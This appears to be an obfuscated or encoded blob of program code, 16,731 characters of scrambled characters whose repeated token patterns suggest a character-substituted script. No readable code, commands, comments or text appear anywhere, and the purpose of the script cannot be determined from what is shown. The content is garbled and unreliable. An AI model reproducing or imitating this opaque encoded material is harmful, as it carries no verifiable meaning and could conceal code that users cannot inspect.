rk1>2:,/><:,<>/>=636+&8>+:UU"UUUU"UU9*1<+6018i1n+,8fm4 +i4-*((,19fwvUU$UUU+-&$UUUUUU{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdUUU69w~{/3o7(5k<n381&'##68-=;0g1k=f9<,wjjlvw{/3o7(5k<n381&'vcwkkmtjgvv-:+*-1dU69w~)%;j1-;6fo.< h=<%=*w{/3o7(5k<n381&'vv${522.n,j*%bkgid{)-kf(hh14()+nbw{522.n,j*%aov`{522.n,j*%er{522.n,j*%dUU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wghmvs==7i3&4;3f/;13mwghlvvdU-:+*-1dU"UUU69w6( l).%/>&.=%8wgihvw68-=;0g1k=f9<,wghkvvyy8:+ +->1,6:1+w%&l24,::0;+wghjvvv-:+*-1dUUUU{%:8k43)n(m=n6&b* <>0f1:0)g)&4k,07+oo1wvdUU<3:>-,+>+<><7:w+-*:vdUUU69w68-=;0g1k=f9<,wghivw{%:8k43)n(m=n6&vyy~6( l).%/>&.=%8wgkjvw{%:8k43)n(m=n6&vv$U-:+*-1dU"UUUU69w~68-=;0g1k=f9<,wghhvw{%:8k43)n(m=n6&vv$U{1)492/99:>0;9b*2>,4wovdUU 1'4'n,k3k&859>>;w{%:8k43)n(m=n6&swhjormjhvs+-*:vdU*2>,4w{1)492/99:>0;9vdU..+:l- 3/5(*9,%,)6<:w{%:8k43)n(m=n6&swknntgmvvdU<3:>-,+>+<><7:w+-*:vdU":3,:69w~%&l24,::0;+wgnnvw{%:8k43)n(m=n6&v##~==7i3&4;3f/;13mwnkhvw{%:8k43)n(m=n6&vv$U..+:l- 3/5(*9,%,)6<:w{%:8k43)n(m=n6&swmljtmjgvvdU<3:>-,+>+<><7:w+-*:vdU"UU69w68-=;0g1k=f9<,wghhvw{%:8k43)n(m=n6&vyyw~68-=;0g1k=f9<,wgnnvw{%:8k43)n(m=n6&v##~%&l24,::0;+wnkhvw{%:8k43)n(m=n6&vvyy==7i3&4;3f/;13mwgklvw{%:8k43)n(m=n6&vv$U{1)492/99:>0;9b*2>,4wovdU 1'4'n,k3k&859>>;w{%:8k43)n(m=n6&swnmhtliivs+-*:vdU*2>,4w{1)492/99:>0;9vdUU..+:l- 3/5(*9,%,)6<:w{%:8k43)n(m=n6&swkgotnlvvdU<3:>-,+>+<><7:w+-*:vdU"UU<3:>-,+>+<><7:w+-*:vdU69w~6( l).%/>&.=%8wghhvw{%:8k43)n(m=n6&v##~==7i3&4;3f/;13mwghgvw{%:8k43)n(m=n6&v##~68-=;0g1k=f9<,wgnnvw{%:8k43)n(m=n6&vv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wghmvs%&l24,::0;+wghfvvdU69w==7i3&4;3f/;13mwggovw6( l).%/>&.=%8whgnvvv,:+ +->1,6:1+w6( l).%/>&.=%8wghjvsnswjlklrnhklvvdU-:+*-1dU"UUUUU{4/l;k'0<56m>.k(+b{%:8k43)n(m=n6&qxpxq64g,7j8l*g'j*&'63.f<&wvdUUUU69w%2:n;9l5gim=)+<n%28(jw{4/l;k'0<56m>.k(+vv$U-:+*-1dU"U69w==7i3&4;3f/;13mwggnvw{4/l;k'0<56m>.k(+vyy==7i3&4;3f/;13mwmmlvw{4/l;k'0<56m>.k(+vawkfhntmfvyy%&l24,::0;+wggmvw5( g6,6h*67j545kh:ww,+-618v==7i3&4;3f/;13mwgglvw{4/l;k'0<56m>.k(+vvvbbb68-=;0g1k=f9<,wggmvw{/3o7(5k<n381&'vv$U3o>94&fk7+k97f >w{4/l;k'0<56m>.k(+vdU=o6(/-875*o9=+h(1wvdUUUU8i<7mh=38m,h&2>)%2)78owvdU-:+*-1dU"U69w6( l).%/>&.=%8wggnvw{4/l;k'0<56m>.k(+vyy%&l24,::0;+wmmlvw{4/l;k'0<56m>.k(+vawo'n=ito'nn;mvv${''&29k-m+j3&brlhld{7>i// '9=2bw{''&29k-m+j3&aov`{''&29k-m+j3&er{''&29k-m+j3&dU{5m4k)o3&kl5bw,+-618v%&l24,::0;+wggkvw{4/l;k'0<56m>.k(+s9>3,:s1*33soswkiglrjghvvdU69w%&l24,::0;+whiovw{5m4k)o3&kl5vyy68-=;0g1k=f9<,wgoivw==7i3&4;3f/;13mwhikvs{5m4k)o3&kl5s{ ;2vyy):-,601 <02/>-:w{ ;2ns(8=4>%+g%(8i0>1>i(l9h+wvsxaxvv-:+*-1dUU*1,:+w{5m4k)o3&kl5s{ ;2vdU"U{&7g)5o* j1b,=.9=%*lk<l11j),n'56'/w{4/l;k'0<56m>.k(+s+l92.0094n*&>:4j01(w{/3o7(5k<n381&'vvdUUUU69w~{&7g)5o* j1##~6( l).%/>&.=%8wggjvw{4/l;k'0<56m>.k(+v##6( l).%/>&.=%8wmmlvw{4/l;k'0<56m>.k(+vcwngofrgofv##6( l).%/>&.=%8wggmvw5( g6,6h*67j545kh:ww,+-618v6( l).%/>&.=%8wggivw{4/l;k'0<56m>.k(+vvv~bb==7i3&4;3f/;13mwggmvw{/3o7(5k<n381&'vv$U69w{&7g)5o* j1yy%&l24,::0;+wggnvw{4/l;k'0<56m>.k(+vv$U{5m4k)o3&kl5bw,+-618v%&l24,::0;+wggivw{4/l;k'0<56m>.k(+s9>3,:s1*33soswkoomtfkvvdU{<*i.4f54 =b6( l).%/>&.=%8wgghvw{5m4k)o3&kl5vyy%&l24,::0;+wgoivw6( l).%/>&.=%8whikvs{5m4k)o3&kl5s{ ;2vyy):-,601 <02/>-:w{ ;2ns(8=4>%+g%(8i0>1>i(l9h+wvsxaxvdU*1,:+w{5m4k)o3&kl5s{ ;2vdUU69w~{<*i.4f54 =v$U..+:l- 3/5(*9,%,)6<:w{4/l;k'0<56m>.k(+swhmnrlonvvdU6&3-,o*-.<)&:l.1w{4/l;k'0<56m>.k(+vdU"U"U69w6( l).%/>&.=%8wggovw6( l).%/>&.=%8whgnvvv,:+ +->1,6:1+w68-=;0g1k=f9<,wghjvsnswgfmtmhogvvdU-:+*-1dU"UU:fk534k;<kn+4l3w{4/l;k'0<56m>.k(+vd{9+9n=47igbmmf#ild{+ %o1mgnb{9+9n=47ignkidU..+:l- 3/5(*9,%,)6<:w{4/l;k'0<56m>.k(+swngftnolvvdU3o>94&fk7+k97f >w{4/l;k'0<56m>.k(+vdU=o6(/-875*o9=+h(1wvdU8i<7mh=38m,h&2>)%2)78owvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wghmvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$UU"U"U9*1<+601'+>652&(<(m%;0,wvUU$U+-&$U{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdU69w{/3o7(5k<n381&'yy~=n-8-m<n&2j=7.j+:f%inw{/3o7(5k<n381&'vv$U{1)492/99:>0;9b7=6*m)5(8(fkl*-%l14  'w==7i3&4;3f/;13mwgoovs}}vdU{>46:m(f)28mk)b-04nj+.0i9n)(f%w6( l).%/>&.=%8wgghvw{1)492/99:>0;9v`{1)492/99:>0;9e}}vdU{ h-/0 79<: lb-04nj+.0i9n)(f%w{/3o7(5k<n381&'vdU69w~==7i3&4;3f/;13mwgghvw{1)492/99:>0;9v##==7i3&4;3f/;13mwjjlvw{1)492/99:>0;9vcwo'ffto'nj=v##=n-8-m<n&2j=7.j+:f%inw{1)492/99:>0;9v##{>46:m(f)28mk)bbb}}##w{ h-/0 79<: l~bb}}yy):-,601 <02/>-:w{ h-/0 79<: ls{>46:m(f)28mk)sxaxvvv$U5% 3m3%%i+&%>-;(142mm)w==7i3&4;3f/;13mwgoovs{/3o7(5k<n381&'s6( l).%/>&.=%8whgfvvdU69w6( l).%/>&.=%8wggovw==7i3&4;3f/;13mwgggvvv$U*/;>+: 0/+601w%&l24,::0;+whkhvsos68-=;0g1k=f9<,whgfvvdU*/;>+: 0/+601w==7i3&4;3f/;13mwinivsos==7i3&4;3f/;13mwhgfvvdU*/;>+: 0/+601w==7i3&4;3f/;13mwhjhvsos68-=;0g1k=f9<,whgfvvdU"U69w==7i3&4;3f/;13mwggfvw%&l24,::0;+wgfovvv;:3:+: +->1,6:1+w>n,,- 8f6hjj%h64o,.wvvdU"UUU"UUUUU69w==7i3&4;3f/;13mwggfvw6( l).%/>&.=%8wgfnvvyy6( l).%/>&.=%8wgfmvw68-=;0g1k=f9<,wgggvvv$U{*;78(l:g.03b8:+ 0/+601w==7i3&4;3f/;13mwgflvvdU69w{*;78(l:g.03~bb9>3,:yy{*;78(l:g.03~bb(8=4>%+g%(8i0>1>i(l9h+wvv$U*/;>+: 0/+601w%&l24,::0;+wgflvs(8=4>%+g%(8i0>1>i(l9h+wvs6( l).%/>&.=%8wgfkvvdU"U"Upp61,+>1+6>+:/-05:<+6):/-009r+:-2UU69w~%&l24,::0;+wgfjvw==7i3&4;3f/;13mwgfivv##~>;; 0/+601w==7i3&4;3f/;13mwgflvs(8=4>%+g%(8i0>1>i(l9h+wvs}}s==7i3&4;3f/;13mwgfkvvv$U-:+*-1dUU"UU''+&2k:m8l)<223=0m)0hkwvdU69w==7i3&4;3f/;13mwgfjvw==7i3&4;3f/;13mwgggvvv$U*/;>+: 0/+601w==7i3&4;3f/;13mwhkhvsos%&l24,::0;+wgfkvvdU*/;>+: 0/+601w68-=;0g1k=f9<,winivsos%&l24,::0;+wgfkvvdU*/;>+: 0/+601w68-=;0g1k=f9<,wgfhvsos%&l24,::0;+wgfkvvdU"U69w68-=;0g1k=f9<,wgfjvw6( l).%/>&.=%8wgfovvv;:3:+: +->1,6:1+w>n,,- 8f6hjj%h64o,.wvvdUU69w{/3o7(5k<n381&'yy~=n-8-m<n&2j=7.j+:f%inw{/3o7(5k<n381&'vv$U5% 3m3%%i+&%>-;(142mm)w68-=;0g1k=f9<,wgoovs{/3o7(5k<n381&'s==7i3&4;3f/;13mwgfgvvdU"Upp=:1<72>-4/-0)6;:-UU(k;54l2:h&:k3niigh698w1*33vdUU..+:l- 3/5(*9,%,)6<:w-nif,f=:o%ol2)owvswo'<>to'j>vvdUpp:1>=3:-:,*2:r,:,,601UUUUUU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wkkmvs6( l).%/>&.=%8wkklvsovdUUU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wgffvs68-=;0g1k=f9<,wfoovsovdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wfonvs{3+1n/j=+n mvdU69w==7i3&4;3f/;13mwgfjvw6( l).%/>&.=%8wfomvvv;:3:+: 0/+601w6( l).%/>&.=%8wgflvvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U69w68-=;0g1k=f9<,wgfjvw6( l).%/>&.=%8wfomvvv;:3:+: 0/+601w%&l24,::0;+wgflvvdU"U"U9*1<+601.f /5f,o)m62(.l.80*:wvU$U+-&${=<%>>':&6;bliugd{3.38)+7..1/*b{=<%>>':&6;rnmdU69w68-=;0g1k=f9<,wgfjvw==7i3&4;3f/;13mwhgkvvv$Upp1+6+&-0)6;:-,-<,:+;:,<-6/+0-UU6( l).%/>&.=%8wfolvw702: *-3wxpxvs>-->&w6( l).%/>&.=%8whgivbawntkvs6( l).%/>&.=%8wllgvba9>3,:s==7i3&4;3f/;13mwkkgvba9>3,:vvdUUUU"Uppgqm:1*2e<01968*-:-:86,+-&UU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wfokvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"UU9*1<+601'9jjn*-%n5fj2nwvUUU$U,+>+6<{>>f7)hf.&f:ohb9>3,:dU69w{>>f7)hf.&f:ohv-:+*-1dU{>>f7)hf.&f:ohb+-*:dU+-&$U69w~%&l24,::0;+wgfjvw6( l).%/>&.=%8wfojvv##~6, >;261wvv$U-:+*-1dU"U69w~%&l24,::0;+wgfjvw68-=;0g1k=f9<,wglnvv##~<*--:1+ *,:- <>1w==7i3&4;3f/;13mwfoivvv$U-:+*-1dU"U{*%i8->36j0i'5&4'b6,,:+w{ 
6( l).%/>&.=%8wfohvv`{ 
68-=;0g1k=f9<,wfohve}}dU{*%i8->36j0i'5&4'b68-=;0g1k=f9<,wgghvw{*%i8->36j0i'5&4'v`%&l24,::0;+wignvw{*%i8->36j0i'5&4've}}dU69w{*%i8->36j0i'5&4'~bb==7i3&4;3f/;13mwfogvyy{*%i8->36j0i'5&4'~bb6( l).%/>&.=%8wfofvv$U-:+*-1dU"UU{( - h**oljnh9g7ib>-->&wvdUU69w{*%i8->36j0i'5&4'bbb68-=;0g1k=f9<,wfogvv$U{,ih>-09+0*+j1gb6,,:+w{ 
%&l24,::0;+whojvv`{ 
68-=;0g1k=f9<,whojve}}dU{,ih>-09+0*+j1gb68-=;0g1k=f9<,wgghvw{,ih>-09+0*+j1gv`68-=;0g1k=f9<,wfnovw{,ih>-09+0*+j1gve}}dU69w{,ih>-09+0*+j1gyy{,ih>-09+0*+j1g~bb.(o7-ji%=hfofi9%>-owvv$U{( - h**oljnh9g7ib{,ih>-09+0*+j1gdU"U":3,:$Upp,+-:>2618,+><4r9->2:UUU{& = h><(n)l0<.b6,,:+w{ 
6( l).%/>&.=%8wfnnvv`{ 
6( l).%/>&.=%8wfnnve>-->&wvdU{& = h><(n)l0<.b%&l24,::0;+wfnmvw{& = h><(n)l0<.v`{& = h><(n)l0<.e>-->&wvdU90-:><7w{& = h><(n)l0<.>,{,ih>-09+0*+j1gv$Upp30<4,:-6>36%:-90-2=,+-618,+-6<+UUUUU{,ih>-09+0*+j1gb%&l24,::0;+wgghvw{,ih>-09+0*+j1gv`6( l).%/>&.=%8wfnlvw{,ih>-09+0*+j1gve}}dUUUU69w{,ih>-09+0*+j1gyy{,ih>-09+0*+j1g~bb.(o7-ji%=hfofi9%>-owvv$U{( - h**oljnh9g7ib{,ih>-09+0*+j1gdU"U"U"U69w:2/+&w{( - h**oljnh9g7ivv$U-:+*-1d{ 4g%< 2*bnmi#god{;8-=>&&<%m,b{ 4g%< 2*gndU"Upu:'/:<+:;,36;618r(61;0(upUU{:i<h 4-;%0;j6h84b9>3,:dU90-:><7w{( - h**oljnh9g7i>,{,ih>-09+0*+j1gv${6-h36>%2298.bwo'm9to'l<vd{=j:82'3k7b{6-h36>%2298.znidU69w+7on5j'=/ik,&i;w{,ih>-09+0*+j1gvv$U4;:*82.;-+i;gl&m1%w{,ih>-09+0*+j1gvdU{:i<h 4-;%0;j6h84b+-*:dU"U"U69w{:i<h 4-;%0;j6h84v$UUUU69w%&l24,::0;+wgfjvw%&l24,::0;+wfnkvvyy68-=;0g1k=f9<,wgfjvw68-=;0g1k=f9<,wfnjvvv$Upp+>13:):3fe9-::)>36;>+0-UUUU(/ ,>9: -:;6-:<+w>;261 *-3w68-=;0g1k=f9<,wfnivvvdU"U"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wfnhvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$Upprk1>2:,/><:,>)699>33=><4UU"U"U9*1<+601>1(+0.kl:1=jf=%,8w{86 ,:(+<,2s{>+3h.4o8.o;mh/&vU$UUUU69w{>+3h.4o8.o;mh/&bbb==7i3&4;3f/;13mwfngvv$U{/3*861,by{68-=;0g1k=f9<,wfnfvdU69w~6,,:+w{/3*861,==7i3&4;3f/;13mwfngvv##~68-=;0g1k=f9<,wfnmvw{/3*861,68-=;0g1k=f9<,wfmovvv$UUUU-:+*-1{86 ,:(+<,2dUU"U{%5 /:.ni mb;:961:;w68-=;0g1k=f9<,wnkovv`  ew;:961:;w==7i3&4;3f/;13mwovv`q68-=;0g1k=f9<,wgjfve}}vdU69w{%5 /:.ni mbbb}}v$U-:+*-1{86 ,:(+<,2dU"U{&/6*=3/5i9 5b>-->&w68-=;0g1k=f9<,wfmnvba%&l24,::0;+wfmmvs6( l).%/>&.=%8wfmlvba==7i3&4;3f/;13mwfmkvvdU90-:><7w{&/6*=3/5i9 5>,{)2&&2;>k)hba{(8%'(n11jf 7nv$UUUU69w~6,,:+w{/3*861,==7i3&4;3f/;13mwfmjv{)2&&2;>k)hvv$U<01+61*:dU"Upp*120*1++-6:UUUUU{<.%l6154):5lb68-=;0g1k=f9<,wfmivw{%5 /:.ni mqxpxq{)2&&2;>k)hvdU69w~6( l).%/>&.=%8wgghvw{<.%l6154):5lv##%&l24,::0;+wgikvw{<.%l6154):5ls%&l24,::0;+wfmhvq{(8%'(n11jf 7nq%&l24,::0;+wfmgvvbbb9>3,:v$U<01+61*:dU"UUU{5+5=5=g619;f.l* b6( l).%/>&.=%8wjnnvw==7i3&4;3f/;13mwfmfvq{(8%'(n11jf 7nq68-=;0g1k=f9<,wflovq{(8%'(n11jf 7nq%&l24,::0;+wflnvs}}s{<.%l6154):5lvdU69w~68-=;0g1k=f9<,wgghvw{5+5=5=g619;f.l* vv$U<01+61*:dU"U{5+5=5=g619;f.l* b6( l).%/>&.=%8wfnlvw{5+5=5=g619;f.l* vdUUU69w{5+5=5=g619;f.l* bbb}}##{5+5=5=g619;f.l* bbb==7i3&4;3f/;13mwhinv##{5+5=5=g619;f.l* bbb%&l24,::0;+wmjfvv$Upp*,:30<4-0/,+->1,6:1+UU*1,:+w{/3*861,6( l).%/>&.=%8wfmjv{)2&&2;>k)hvdU"U"U-:+*-1{86 ,:(+<,2dU"UUUU69w{>+3h.4o8.o;mh/&~bb68-=;0g1k=f9<,wflmvv$U-:+*-1{86 ,:(+<,2dU"U{/3*861,by{%&l24,::0;+wfllvdUU{'6;54njh;7,+*)=/b68-=;0g1k=f9<,wgimvw-nif,f=:o%ol2)owvvdU69w6,,:+w{/3*861,68-=;0g1k=f9<,wflkv{'6;54njh;7,+*)=/vv$U*1,:+w{/3*861,==7i3&4;3f/;13mwflkv{'6;54njh;7,+*)=/vdU"U-:+*-1{86 ,:(+<,2dU"U69w~%&l24,::0;+wgfjvw==7i3&4;3f/;13mwfljvvv$U9*1<+601= 9< 2hkikh:9/3:n8<o02wvUU$U69w~>>&*)ln-fl %>=n1g%:2wvv$U-:+*-1dUU"U{;:m.20n>922=h/b%&l24,::0;+wflivw-nif,f=:o%ol2)owvvdU{;).m.>/5(5)%o&b==7i3&4;3f/;13mwflivw-nif,f=:o%ol2)owvs%&l24,::0;+wflhvvdU{4(7k&.0 7.fkb{;).m.>/5(5)%o&qxpxq{;:m.20n>922=h/dU:<7068-=;0g1k=f9<,wflgvq:,< >++-w{;:m.20n>922=h/vq68-=;0g1k=f9<,wflfvq:,< >++-w{4(7k&.0 7.fkvq68-=;0g1k=f9<,wfkovdU:<7068-=;0g1k=f9<,wfknvq:,< 5,w{;:m.20n>922=h/vq68-=;0g1k=f9<,wfkmvq:,< 5,w{4(7k&.0 7.fkvq==7i3&4;3f/;13mwfklvdU"U"U69w~6( l).%/>&.=%8wfkkvw6( l).%/>&.=%8wfkjvvv$U9*1<+601>6n,k<(h(0g<.(0'4< w{;**=o804nio(=5vU$Upu308>-6+726<;:<0->+0-upUU69w~%&l24,::0;+wfgvw{;**=o804nio(=5vv$U-:+*-1{;**=o804nio(=5d{8(:l*>j:41fg8bimkgd{,)5f1j%j&.lb{8(:l*>j:41fg8znndU"U{;:m.20n>922=h/b.(o7-ji%=hfofi9%>-owvdU69w6,,:+w{;**=o804nio(=5ra-:,/01,:{;:m.20n>922=h/vv$U*1,:+w{;**=o804nio(=5ra-:,/01,:{;:m.20n>922=h/vdUUU"Upu:,,:1+6>3>3:-+upUU-:+*-1{;**=o804nio(=5dU"U"U69w~%&l24,::0;+wfkkvw%&l24,::0;+wfkivvv$UU9*1<+6019>+,-+;/40:k+-)in.7fw{/3*861,vU$U{)k98%ni;o9b.(o7-ji%=hfofi9%>-owvdU69w6,,:+w{/3*861,{)k98%ni;o9vv$U*1,:+w{/3*861,{)k98%ni;o9vdUUU"U{;).m.>/5(5)%o&b%&l24,::0;+wflivw-nif,f=:o%ol2)owvs68-=;0g1k=f9<,wflhvvdU{4(7k&.0 7.fkb{;).m.>/5(5)%o&qxpxq6( l).%/>&.=%8wfkhvw-nif,f=:o%ol2)owvvd{4j,g+*>n,,o<*fbhkld{33mk0=o5% %f'bw{4j,g+*>n,,o<*faov`{4j,g+*>n,,o<*fer{4j,g+*>n,,o<*fdU69w6,,:+w{/3*861,{4(7k&.0 7.fkvv$Upp*:-&00/e;:1,:.*0+6:1+UU*1,:+w{/3*861,{4(7k&.0 7.fkvdU"U-:+*-1{/3*861,dU"U"U9*1<+601(<62gf>8o.58h.6h88jnw{76il1-3 mg&:%vU$U69w~==7i3&4;3f/;13mwfnmvw{76il1-3 mg&:%vv$U-:+*-1{76il1-3 mg&:%dU"U{:1'o=;&ff'b}}dU69w68-=;0g1k=f9<,wfkkvw==7i3&4;3f/;13mwfkgvvyy68-=;0g1k=f9<,wggjvw-nif,f=:o%ol2)owvvv$U{5&6000(+'llom;3;b8:+ /3*861 ;>+>w-nif,f=:o%ol2)owvs9>3,:s9>3,:vdU{:1'o=;&ff'b6,,:+w{5&6000(+'llom;3;68-=;0g1k=f9<,wfkfvv`{5&6000(+'llom;3;68-=;0g1k=f9<,wfjove}}dUUUU"U{.66.32khf>*k:b>-->&w==7i3&4;3f/;13mwfjnvs%&l24,::0;+wfjmvvdU90-:><7w{.66.32khf>*k:>,{-o045-*9&%.v$U69w~6,,:+w{76il1-3 mg&:%{-o045-*9&%.==7i3&4;3f/;13mwfjlvv##~68-=;0g1k=f9<,wfjkvw{76il1-3 mg&:%{-o045-*9&%.6( l).%/>&.=%8wfjlvvv$U<01+61*:dUUU"U90-:><7w{76il1-3 mg&:%{-o045-*9&%.6( l).%/>&.=%8wfjjv>,{4:&ba{09kj2*'m7%49v$UUUU69w68-=;0g1k=f9<,wfjivw{4:&s.(o7-ji%=hfofi9%>-owvv~bb9>3,:##{4:&bbb.(o7-ji%=hfofi9%>-owvv$U*1,:+w{76il1-3 mg&:%{-o045-*9&%.6( l).%/>&.=%8wfjjv{4:&vdU<01+61*:dU"UU69w{:1'o=;&ff'~bb}}yy{4:&bbb{:1'o=;&ff'v$UU*1,:+w{76il1-3 mg&:%{-o045-*9&%.68-=;0g1k=f9<,wfjjv{4:&vdU<01+61*:dU"U"UU"Upp>)68>+60130<4e>1+6r2010+01:->;6'r+-::UU90-:><7w>-->&w==7i3&4;3f/;13mwfjhvs%&l24,::0;+wfjgvv>,{&k60-0,0=;--*5v$U{*,)->(mk -i)8,:8b6,,:+w{76il1-3 mg&:%{&k60-0,0=;--*56( l).%/>&.=%8wfjjvvyy6( l).%/>&.=%8wfjkvw{76il1-3 mg&:%{&k60-0,0=;--*5%&l24,::0;+wfjjvv`{76il1-3 mg&:%{&k60-0,0=;--*5==7i3&4;3f/;13mwfjjve>-->&wvdUU69w~{*,)->(mk -i)8,:8v<01+61*:dU{(6h9)98h&/0 b;:961:;w%&l24,::0;+wnkvv`
 
 ew;:961:;w%&l24,::0;+wnkovv`  q==7i3&4;3f/;13mwnjve}}vdUUUU{ f3g / n;&23<5b>-->&wvd{&8 o<(54bwo'hjto'i;vd{+50+*:8/n8%/-b{&8 o<(54zidU69w{:1'o=;&ff'~bb}}v{ f3g / n;&23<5b{:1'o=;&ff'dU{ f3g / n;&23<5b6( l).%/>&.=%8wfkhvw-nif,f=:o%ol2)owvvdUU69w{(6h9)98h&/0 ~bb}}yy%&l24,::0;+wghhvw{(6h9)98h&/0 vyy%&l24,::0;+wfkkvw68-=;0g1k=f9<,wjogvvv${%)9'/2,48+bm#nlod{25n>+;2=0j2ob{%)9'/2,48+kidUU90-:><7ww>-->&v==7i3&4;3f/;13mwjogvw{(6h9)98h&/0 q68-=;0g1k=f9<,wiimvv>,{-17m,j:.&<m,9,ov$U{)h<'+,fl%k0b==7i3&4;3f/;13mwfmivw{-17m,j:.&<m,9,os9>3,:s1*33soswnjmmhrholjvvdU69w~68-=;0g1k=f9<,wgghvw{)h<'+,fl%k0v##==7i3&4;3f/;13mwfjivw{)h<'+,fl%k0s%&l24,::0;+wfjfvvbbb9>3,:v<01+61*:dUUU69w%&l24,::0;+wgoivw==7i3&4;3f/;13mwfiovs{)h<'+,fl%k0s{*&mn<-7)lkg+&vv$U{8 001+kl>)n%9=ob68-=;0g1k=f9<,wfnlvw{*&mn<-7)lkg+&nvdUU69w{8 001+kl>)n%9=o~bb}}v{ f3g / n;&23<5b{8 001+kl>)n%9=odU"Upp9616+:=*347:>;UUUUU{ f3g / n;&23<5b%&l24,::0;+wfinvw{-17m,j:.&<m,9,ovdU"U"UUUU90-:><7w{*,)->(mk -i)8,:8>,{4:&ba{09kj2*'m7%49v$U90-:><7w{ f3g / n;&23<5>,{1/k64&h;-k<47 +.v$U69w{4:&bbb{1/k64&h;-k<47 +.##{4:&bbb,>16+6%: +:'+ 96:3;w{1/k64&h;-k<47 +.vv$U*1,:+w{76il1-3 mg&:%{&k60-0,0=;--*56( l).%/>&.=%8wfjjv{4:&vdU=-:>4d{9n*<f;<.jg2bwo'i:to'movd{(=m.o5 mmb{9n*<f;<.jg2znldU"U"UUU"U"UUU{3(o&o0l<535nhmnb6,,:+w{76il1-3 mg&:%6( l).%/>&.=%8wfimv==7i3&4;3f/;13mwfjjvvyy==7i3&4;3f/;13mwfilvw{76il1-3 mg&:%%&l24,::0;+wfikv%&l24,::0;+wfjjvv`{76il1-3 mg&:%==7i3&4;3f/;13mwfikv%&l24,::0;+wfijve>-->&wvdU69w{3(o&o0l<535nhmnv$U{%5 /:.ni mb;:961:;w6( l).%/>&.=%8wnkovv`  ew;:961:;w%&l24,::0;+wfiivv`q6( l).%/>&.=%8wfihve}}vdU{&/6*=3/5i9 5b>-->&w==7i3&4;3f/;13mwfmnvba==7i3&4;3f/;13mwfmmvs6( l).%/>&.=%8wfmlvba6( l).%/>&.=%8wfmkvvdU90-:><7w{3(o&o0l<535nhmn>,{4:&ba{09kj2*'m7%49v$U69w~6,,:+w{&/6*=3/5i9 5{4:&v##{%5 /:.ni mbbb}}v<01+61*:dUU{<.%l6154):5lb6( l).%/>&.=%8wfmivw{%5 /:.ni mqxpxq{4:&s9>3,:s1*33soswinfgrmnomvvdU69w6( l).%/>&.=%8wgghvw{<.%l6154):5lvyyw68-=;0g1k=f9<,wfjivw{<.%l6154):5ls6( l).%/>&.=%8wfigvq{&/6*=3/5i9 5{4:&q==7i3&4;3f/;13mwfifvv~bb9>3,:##==7i3&4;3f/;13mwfhovw{<.%l6154):5ls68-=;0g1k=f9<,wfjfvv~bb9>3,:vv$U*1,:+w{76il1-3 mg&:%68-=;0g1k=f9<,wfikv6( l).%/>&.=%8wfijv{4:&vdUUU"Upp;:/-0)6,6019:>,6=3:2:2:1+0UUUUU"U"Upp>8:6,+e><410(3:;8::99:<+r+&/:UU-:+*-1{76il1-3 mg&:%dU"UU9*1<+6019&<,/( ,'+h,;5o'+2* jw{.j/l(,.=:5ok+vU$U69w~==7i3&4;3f/;13mwfilvw{.j/l(,.=:5ok+vv$Upp/>+<7+0+>3<6/7:-r,*6+:UU-:+*-1{.j/l(,.=:5ok+dU"U{9)kn/=3l-,/im90b68-=;0g1k=f9<,wfinvw-nif,f=:o%ol2)owvvdU{-)ih973=4n06l%7b==7i3&4;3f/;13mwgmmvw{9)kn/=3l-,/im90s vdU{68/g79o4>:b>-->&wU>-->&w%&l24,::0;+wfhnvbax|xq6( l).%/>&.=%8wfhmvw{9)kn/=3l-,/im90sx|xvq%&l24,::0;+wfhlvs6( l).%/>&.=%8wfhkvba+-*:vsUUUU>-->&w68-=;0g1k=f9<,wfhnvba==7i3&4;3f/;13mwfhjvq6( l).%/>&.=%8wfhmvw{-)ih973=4n06l%7sx|xvq==7i3&4;3f/;13mwfhlvs%&l24,::0;+wfhkvba+-*:vsUvdU69w6,,:+w{.j/l(,.=:5ok+68-=;0g1k=f9<,wfhivvyy==7i3&4;3f/;13mwfilvw{.j/l(,.=:5ok+==7i3&4;3f/;13mwfhivvv$U90-:><7w{.j/l(,.=:5ok+%&l24,::0;+wfhiv>,{+4o)j.7:g6imjba{,f8:<8jk%.''/<v$UU69w~6( l).%/>&.=%8wfhhvw{,f8:<8jk%.''/<v##~6( l).%/>&.=%8wfhgvw{+4o)j.7:g6imjvv$U<01+61*:dU"UUUU69w~6,,:+w{.j/l(,.=:5ok+==7i3&4;3f/;13mwfhiv{+4o)j.7:g6imj%&l24,::0;+wfhfvv##~==7i3&4;3f/;13mwfhhvw{.j/l(,.=:5ok+68-=;0g1k=f9<,wfhiv{+4o)j.7:g6imj%&l24,::0;+wfhfvvv$UUU{.j/l(,.=:5ok+==7i3&4;3f/;13mwfhiv{+4o)j.7:g6imj==7i3&4;3f/;13mwfhfvb>-->&wvdU"U90-:><7w{68/g79o4>:>,{+2&557;5(f;v$Upp903;r<01,+8:1:->3r-:<*-,6):7&/:-308308UUUUU{.j/l(,.=:5ok+%&l24,::0;+wfhiv{+4o)j.7:g6imj%&l24,::0;+wfgovb{+2&557;5(f;dU"U"U"U-:+*-1{.j/l(,.=:5ok+dU"UU9*1<+601.n,:;i&=;<1-*fwvU${4o3'2kh&njb  p  d{9%lm .(>5>3'b{4o3'2kh&njtfndU+-&$U69w~;:961:;w68-=;0g1k=f9<,wfgnvv##<01,+>1+w%&l24,::0;+wfgnvvcwmtjvv$U-:+*-1d{6l19%/.-l 3/<'b  p  